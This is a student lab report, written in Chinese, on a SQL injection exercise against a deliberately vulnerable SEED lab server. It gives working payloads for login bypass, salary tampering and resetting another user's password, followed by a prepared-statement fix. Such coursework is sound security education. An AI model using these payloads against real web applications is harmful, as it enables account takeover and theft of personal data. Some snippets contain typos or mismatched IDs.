

# Report: SQL injection 实验

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### 实验内容:

## TASK 1: Get Familiar with SQL Statements

- ## 1. 启动 docker

```
dcbuild
dcup
```

- ## 2. 进入 mysql 程序

```
dockps
docksh **
mysql -u root -p dees
```

- ### 3. 打印所有信息

```
use sqllab_users;
show tables;
desc credential;
select * from credential where Name='Alice'
```

```
mysql> use sqlab_users;
Database changed
mysql> show tables;
+-----+
| Tables_in_sqlab_users |
+-----+
| credential             |
+-----+
1 row in set (0.00 sec)

mysql> desc credential;
+-----+-----+-----+-----+-----+-----+
| Field | Type | Null | Key | Default | Extra |
+-----+-----+-----+-----+-----+-----+
| ID     | int unsigned | NO | PRI | NULL | auto_increment |
| Name   | varchar(30) | NO |     | NULL |                 |
| EID    | varchar(20) | YES |     | NULL |                 |
| Salary | int | YES |     | NULL |                 |
| birth  | varchar(20) | YES |     | NULL |                 |
| SSN    | varchar(20) | YES |     | NULL |                 |
| PhoneNumber | varchar(20) | YES |     | NULL |                 |
| Address | varchar(300) | YES |     | NULL |                 |
| Email  | varchar(300) | YES |     | NULL |                 |
| NickName | varchar(300) | YES |     | NULL |                 |
| Password | varchar(300) | YES |     | NULL |                 |
+-----+-----+-----+-----+-----+-----+
11 rows in set (0.00 sec)

mysql> select * from credential where Name='Alice';
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| ID | Name | EID | Salary | birth | SSN | PhoneNumber | Address | Email | NickName | Password |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 1 | Alice | 10000 | 20000 | 9/20 | 10211002 | | | | | fdbce918bdae83000aa54747fc95fe0470ff4976 |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
```

## TASK 2: SQL Injection Attack on SELECT Statement

### TASK 2.1: SQL Injection Attack from webpage

1. 打开 `seed-server.com`，观察 `unsafe home.php`，看到里面有如下判断

```
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email,  
        nickname, Password  
        FROM credential  
        WHERE name= '$input uname' and Password='$hashed pwd'";
```

2. 只需要把判断 Password 的部分屏蔽即可

```
admin';#
```



## TASK 2.2: SQL Injection Attack from command line

转换一下 url 编码

```
curl 'www.seed-server.com/unsafe_home.php?username=%27%3b%23'
```

显示出所有用户信息

```
<ul class='navbar-nav mr-auto mt-2 mt-lg-0' style='padding-left: 30px;'><li class='nav-item active'><a class='nav-link' href='unsafe_home.php'>Home <span class='sr-only'>(current)</span></a></li><li class='nav-item'><a class='nav-link' href='unsafe_edit_frontend.php'>Edit Profile</a></li></ul><button onclick='logout()' type='button' id='logoffBtn' class='nav-link my-2 my-lg-0'>Logout</button></div></nav><div class='container'><br><h1 class='text-center'><b> User Details</b></h1><hr><br><table class='table table-striped table-bordered'><thead class='thead-dark'><tr><th scope='col'>Username</th><th scope='col'>EId</th><th scope='col'>Salary</th><th scope='col'>Birthday</th><th scope='col'>SSN</th><th scope='col'>Nickname</th><th scope='col'>Email</th><th scope='col'>Address</th><th scope='col'>Ph. Number</th></tr></thead><tbody><tr><th scope='row'> Alice</th><td>10000</td><td>20000</td><td>9/20</td><td>10211002</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Bobby</th><td>20000</td><td>30000</td><td>4/20</td><td>10213352</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Ryan</th><td>30000</td><td>50000</td><td>4/10</td><td>98993524</td><td></td><td></td><td></td></tr><tr><th scope='row'> Samy</th><td>40000</td><td>90000</td><td>1/11</td><td>32193525</td><td></td><td></td><td></td></tr><tr><th scope='row'> Ted</th><td>50000</td><td>110000</td><td>11/3</td><td>3211111</td><td></td><td></td><td></td></tr><tr><th scope='row'> Admin</th><td>99999</td><td>400000</td><td>3/5</td><td>43254314</td><td></td><td></td><td></td></tr></tbody></table> <br><br>
```

## TASK 2.3: Append a new SQL statement

注入

```
Alice'; update credential set name=A where ID=1;#
```

结果注入不成功

There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update credential set name=A where ID=1; #' and Password='da39a3ee5e6b4b0d3255bf' at line 3]\n

## TASK 3: SQL Injection Attack on UPDATE Statement

### TASK 3.1: Modify your own salary

进入 Alice 修改个人资料的页面，观察 unsafe edit backend.php，看到有如下判断

```
$hashed_pwd = sha1($input_pwd);  
$sql = "UPDATE credential SET  
        nickname='$input_nickname',  
        email='$input_email',  
        address='$input_address',  
        Password='$hashed_pwd',  
        PhoneNumber='$input_phonenumber'  
        WHERE ID=$id;";  
$conn->query($sql);
```

注入

```
',salary='30000' where ID=1;#
```

## Alice's Profile Edit

NickName	<input type="text" value="',salary='30000' where ID=1;#"/>
Email	<input type="text" value="Email"/>
Address	<input type="text" value="Address"/>
Phone Number	<input type="text" value="PhoneNumber"/>
Password	<input type="text" value="Password"/>

Save

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**TASK 3.2: Modify other people’s alary**

把 Bobby 的薪水改成 114514

```
' ,salary='114514' where ID=2;#
```

### Alice's Profile Edit

NickName

Email

Address

Phone Number

Password

Save

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已经改掉了

Boby Profile	
Key	Value
Employee ID	20000
Salary	114514
Birth	4/20
SSN	10213352
NickName	
Email	
Address	
Phone Number	

### TASK 3.3: Modify other people's password

查看代码，密码采用的是 sha1 算法

将 888888 通过 sha1 算法转换得 1f82c942befda29b6ed487a51da199f78fce7f05

注入

```
' ,Password='1f82c942befda29b6ed487a51da199f78fce7f05' where ID=1;#
```

### Boby's Profile Edit

NickName	<input type="text" value="',Password='1f82c942befda29b6e"/>
Email	<input type="text" value="Email"/>
Address	<input type="text" value="Address"/>
Phone Number	<input type="text" value="PhoneNumber"/>
Password	<input type="text" value="Password"/>

Save

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结果：可以用密码 888888 成功登录 Alice 账号。

### TASK 4: Countermeasure — Prepared Statement

登录 seed-server.com/defense，将参数与查询分离，修改 unsafe.php。

```
$stmt = $conn->prepare("SELECT id, name, eid, salary, ssn
                        FROM credential
                        WHERE name = ? and Password = ? ");
$stmt->bind_param("ss", $input_undef, $hashed_pwd);
$stmt->execute();
$stmt->bind_result($id, $name, $eid, $salary, $ssn);
$stmt->fetch();
```



```

// do the query
/*$result = $conn->query ( "SELECT id,name,eid,salary,ssn
                           FROM credential
                           WHERE name= '$input_uname ' and Password= '$hashed_pwd'");*/
$stmt = $conn->prepare( "SELECT id , name, eid, salary, ssn
                       FROM credential
                       WHERE name= ? and Password= ? " ) ;
$stmt->bind_param( "ss " , $input_uname,$hashed_pwd);
$stmt->execute( );
$stmt->bind_result($id,$name,$eid,$salary,$ssn);
$stmt->fetch( );

/*if( $result->num_rows > 0) {
    // only take the first row
    $firstrow = $result->fetch_assoc( ) ;
    $id=$firstrow [ "id" ];
    $name= $firstrow [ "name" ];
    $eid=$firstrow [ "eid" ];
    $salary = $firstrow [ " salary " ];
    $ssn= $firstrow [ "ssn" ];
}*/

```

攻击失败



## 实验总结:

这次实验给了我们很多的启示，最后一个 task 教会了我们怎么防御。